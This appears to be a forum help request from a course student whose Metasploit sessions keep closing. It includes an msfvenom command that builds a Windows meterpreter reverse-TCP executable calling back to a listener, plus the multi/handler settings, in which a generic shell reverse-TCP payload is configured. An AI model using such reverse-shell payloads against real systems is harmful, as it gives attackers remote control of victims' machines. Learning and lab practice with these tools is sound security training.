Command shell session 1 is not valid and will be closed

[VanAwful]

Creating an exploit file using this command: msfvenom -p windows/meterpreter_reverse_tcp lhost=10.1.2.1 lport=8080 -f exe > test2.exe

Setup msfconsole as follows:
Module options (exploit/multi/handler):

Name Current Setting Required Description

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Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

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LHOST 10.254.252.3 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

Exploit target:

Id Name

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0 Wildcard Target

Running file produces this on the msfconsole: Command shell session 1 is not valid and will be closed
The session closes and it repeats with incremental session numbers.

Framework version 6.1.10-dev-

This is part of a course, so I cannot update the framework or any other parts of the VM I am working in.